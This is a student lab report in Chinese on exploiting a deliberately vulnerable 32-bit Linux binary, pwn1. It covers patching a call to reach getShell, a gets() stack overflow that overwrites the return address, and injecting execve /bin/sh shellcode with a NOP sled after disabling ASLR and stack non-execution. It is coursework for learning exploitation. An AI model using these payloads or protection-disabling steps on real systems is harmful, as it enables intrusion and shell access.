实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

基础知识

linux基本操作

  • 管道(|):管道是Linux由Unix那里继承过来的进程间的通信机制,它是Unix早期的一个重要通信机制。其思想是,在内存中创建一个共享文件,从而使通信双方利用这个共享文件来传递信息。由于这种方式具有单向传递数据的特点,所以这个作为传递消息的共享文件就叫做“管道”。

    管道的局限性:

    ① 数据自己读不能自己写。

    ② 数据一旦被读走,便不在管道中存在,不可反复读取。

    ③ 由于管道采用半双工通信方式。因此,数据只能在一个方向上流动。

    ④ 只能在有公共祖先的进程间使用管道。

  • 输入:linux标准输入设备指的是键盘,标准输出设备指的是显示器,标准错误输出指的是显示器。

  • 输出重定向(>):输出重定向就是指不使用linux默认的标准输出设备显示信息,而是指定某个文件做为标准输出设备来存储文件信息。

Bof原理

Linux下进程地址空间的布局



典型的堆栈结构



栈中有return address还有局部变量,也就是函数的参数,bof攻击是利用上参数的溢出将返回地址return address用自己构造的数据覆盖掉,从而控制程序的进程。接下来就试着通过bof攻击来实现调用getshell函数。

NOP、JNE、JE、JMP、CMP汇编指令的机器码

  • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
  • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
  • JE:条件转移指令,如果相等则跳转。(机器码:74)
  • JMP:无条件转移指令。段内直接短转Jmp
  • short(机器码:EB) 段内直接近转移Jmp
  • near(机器码:E9) 段内间接转移 Jmp
  • word(机器码:FF) 段间直接(远)转移Jmp
  • far(机器码:EA)
  • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

gdb的常用命令


实验内容

直接修改程序机器指令,改变程序执行流程

下载目标文件pwn1到实验虚拟机,反汇编objdump -d pwn1 |more。下面只保留了最核心的几行代码。



指令将调用位于地址8048491处的foo函数

其对应机器指令为“e8 d7ffffff”,e8即跳转。

此时此刻EIP的值应该是下条指令的地址,即80484ba,但出现e8这条指令,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。直接 804847d-80484ba就能得到补码,是c3ffffff。

所以编辑pwn1文件 vim pwn1将其中的call指令的目标地址由d7ffffff变为c3ffffff

以下操作是在vi内

  1. 按ESC键
  2. 输入如下,将显示模式切换为16进制模式

    :%!xxd
  3. 查找要修改的内容

    /e8d7
  4. 找到后前后的内容和反汇编的对比下,确认是地方是正确的
  5. 修改d7为c3
  6. 转换16进制为原格式

    :%!xxd -r
  7. 存盘退出vi

    :wq

enter description here

然后./pwn1运行

通过构造输入参数,造成BOF攻击,改变程序执行流

我们重新命名一个原pwn文件pwn1_2

反汇编,了解漏洞以及程序的基本功能

该可执行文件正常运行是调用函数foo,这个函数有Buffer overflow漏洞,即foo函数中的gets函数,由于该函数不会检查用户输入的长度,通过“栈溢出”覆盖栈中保存的RET地址,可以改变程序的执行流。

函数foo中的mov(804849a)读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址

函数main中的call调用函数foo,同时在堆栈上压上返回地址值:80484ae

确认覆盖到返回地址的字符

如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell

确认用什么值来覆盖返回地址

getShell的内存地址,通过反汇编时可以看到,即0804847d

接下来要确认下字节序,因为PC属于小端所以输入11111111222222223333333344444444\x7d\x84\x04\x08

构造输入字符串

由于没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以需要使用prel方法先生成包括这样字符串的一个文件,将getshell的内存地址写入输入字符串中,\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input


将input的输入,通过管道符“|”,作为pwn1的输入

(cat input; cat) | ./pwn1_2


注入Shellcode并执行

  • 准备一段Shellcode
  • shellcode就是一段机器指令(code)

    通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),

    所以这段机器指令被称为shellcode。

    在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

    如:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

    准备工作:
  • 关闭堆栈保护(gcc -fno-stack-protector)
  • 关闭堆栈执行保护(execstack -s)
  • 关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
  • 在x32环境下
  • 在Linux实践环境

apt-get install execstack //安装execstack命令

execstack -s pwn1_3 //设置堆栈可执行

execstack -q pwn1_3 //查询文件的堆栈是否可执行

more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

构造要注入的payload

Linux下有两种基本构造攻击buf的方法:

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr。

    因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。

    简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

我们这个buf够放这个shellcode了

结构为:nops+shellcode+retaddr

nop一为是了填充,二是作为“着陆区/滑行区”。

我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

使用命令注入,其中前面32个A用来填满缓冲区buf,\x04\x03\x02\x01为预留的返回地址retaddr:

perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

打开一个终端注入这段攻击buf:

(cat input_shellcode;cat) | ./pwn1_3



开启另一终端调试进程

ps -ef | grep pwn1_3命令找到pwn1_3的进程号是:3937

用gdb pwn1_3、attach命令启动gdb调试这个进程:

disassemble foo命令反汇编,通过设置断点,来查看注入buf的内存地址:



通过break *0x080484ae命令设置断点,输入countine 继续运行

在另外一个终端中按下回车使上一调试过程继续执行。再返回调试终端,使用info r esp命令查找地址:



x/16x 0xffffd64c命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为0xffffd650


接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可,用命令

perl -e 'print "A" x 32;print "\x50\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode


实验中遇到的问题及解决过程

1、提示段错误

  • 替换\x4\x3\x2\x1时一定记住小端从后往前,每两位为一组

2、echo "0" > /proc/sys/kernel/randomize_va_space//关闭地址随机化提示权限不够。

  • 这时就不要使用自己账号了直接sudo suroot管理员还怕权限不够。

实验感想

复习了linux虚拟机的操作和gdb调试,Kali和Ubuntu感觉最大的不同就是Ubuntu系统预设了Ctrl+Alt+T的快捷打开终端而Kali没有,导致实验需要打开另一个终端时按了很久以为电脑卡了(同配置下Kali也的确比Ubuntu要卡),后来搜了一下教程在快捷键里添加了命令。

实验上觉得汇编代码真的很神奇,可是我汇编学得不好,但是在操作教程的指点下还是完成了,希望以后的实验可以钻研出一点有趣的玩法。

什么是漏洞?漏洞有什么危害?

漏洞就是现代电子设备在硬件、软件、协议上的一些能够引发一系列安全问题,威胁用户操作的缺陷。比如这次实验的漏洞是缓冲区溢出,因为没有考虑到超出栈的空间分配的问题导致被利用,使软件的功能被改变。攻击者可以对文件进行任意的操作,也可能会执行相关的恶意代码,为木马植入、后门设置提供条件。

2018-2019-2 20165231王杨鸿永《网络对抗》Exp1 PC平台逆向破解的更多相关文章

  1. 20155204 王昊《网络对抗技术》EXP1 PC平台逆向破解

    20155204 王昊<网络对抗技术>EXP1 PC平台逆向破解 (一)实验内容 一.掌握NOP.JNE.JE.JMP.CMP汇编指令的机器码 NOP:NOP指令即"空指令&qu ...

  2. 2018-3-7 20155317 王新玮 Exp1 PC平台逆向破解(5)M

    2018-3-7  20155317  王新玮 Exp1 PC平台逆向破解(5)M 任务要求:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. NOP.JNE.JE.JMP.CM ...

  3. 2018-2019-2 20165231 王杨鸿永 Exp6 信息搜集与漏洞扫描

    实践目标 掌握信息搜集的最基础技能与常用工具的使用方法. 2.实践内容 (1)各种搜索技巧的应用 (2)DNS IP注册信息的查询 (3)基本的扫描技术:主机发现.端口扫描.OS及服务版本探测.具体服 ...

  4. Exp1 PC平台逆向破解 20164302 王一帆

    1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程 ...

  5. 20164324王启元 Exp1 PC平台逆向破解

    一.逆向及Bof基础实践说明 1.1实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 手工修 ...

  6. 2020-3-3 20175110王礼博 《网络对抗技术》Exp1 PC平台逆向破解

    目录 1.实践目标与基础知识 2.直接修改程序机器指令,改变程序执行流程 3.通过构造输入参数,造成BOF攻击,改变程序执行流 4.注入Shellcode并执行 5.实验收获与感想 6.什么是漏洞?漏 ...

  7. 20145311王亦徐《网络对抗技术》MAL_逆向与Bof基础

    20145311王亦徐<网络对抗技术>MAL_逆向与Bof基础 实践目标 运行一个可执行文件,通过逆向或者Bof技术执行原本不应该执行的代码片段采用的两种方法: 1.利用foo函数的Bof ...

  8. 20155313 杨瀚 《网络对抗技术》实验一 PC平台逆向破解(5)M

    exp1 PC平台逆向破解(5)M 一.实验内容 1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. 2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发 ...

  9. 20155324王鸣宇 《网络对抗技术》Web基础

    20155324王鸣宇 <网络对抗技术>Web基础 实践要求 ①Web前端HTML: 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HT ...

随机推荐

  1. Python----逻辑回归

    逻辑回归 1.逻辑函数 sigmoid函数就出现了.这个函数的定义如下: sigmoid函数具有我们需要的一切优美特性,其定义域在全体实数,值域在[0, 1]之间,并且在0点值为0.5. 那么,如何将 ...

  2. 使用python对py文件程序代码复用度检查

    #!/user/bin/env python # @Time :2018/6/5 14:58 # @Author :PGIDYSQ #@File :PyCheck.py from os.path im ...

  3. (一)jdk8学习心得之遍历

    一.遍历 -- 最好和stream流连用 使用jdk8提供的forEach进行遍历时,采用的是多线程的操作,理论上讲是会比原来的方法更快.但是注意,系统启动时需要加载lambda框架的内容.因此如果通 ...

  4. vi设置行号

     首先,我们先打开一个文件,用vim 文件名 就可以直接使用vim打开   我们事先写了一些内容在这个txt里面,我们可以看到如下内容   在这里,我们可以直接敲命令, :set number 或者 ...

  5. seaborn库

      首先找到Anaconda Prompt命令行,下载seaborn库 ,命令  pip install seaborn 1.风格设置 import seaborn as sns import num ...

  6. DNS预解析prefetch

    前面的话 本文将详细介绍DNS预解析prefetch的主要内容 概述 DNS(Domain Name System, 域名系统),是域名和IP地址相互映射的一个分布式数据库.DNS 查询就是将域名转换 ...

  7. 【LOJ6482】LJJ 爱数数 数论

    题目大意 给你 \(n\),求 \[ \sum_{a=1}^n\sum_{b=1}^n\sum_{c=1}^n[\frac{1}{a}+\frac{1}{b}=\frac{1}{c}][\gcd(a, ...

  8. Magento composer 安装

    composer create-project --repository=https://repo.magento.com/ magento/project-community-edition:2.2 ...

  9. php Header 函数使用

    <?php header('HTTP/1.1 200 OK'); // ok 正常访问 header('HTTP/1.1 404 Not Found'); //通知浏览器 页面不存在 heade ...

  10. TJOI2018Party

    题目描述 小豆参加了\(NOI\)的游园会,会场上每完成一个项目就会获得一个奖章,奖章 只会是\(N\), \(O\), \(I\)的字样.在会场上他收集到了\(K\)个奖章组成的串. 兑奖规则是奖章 ...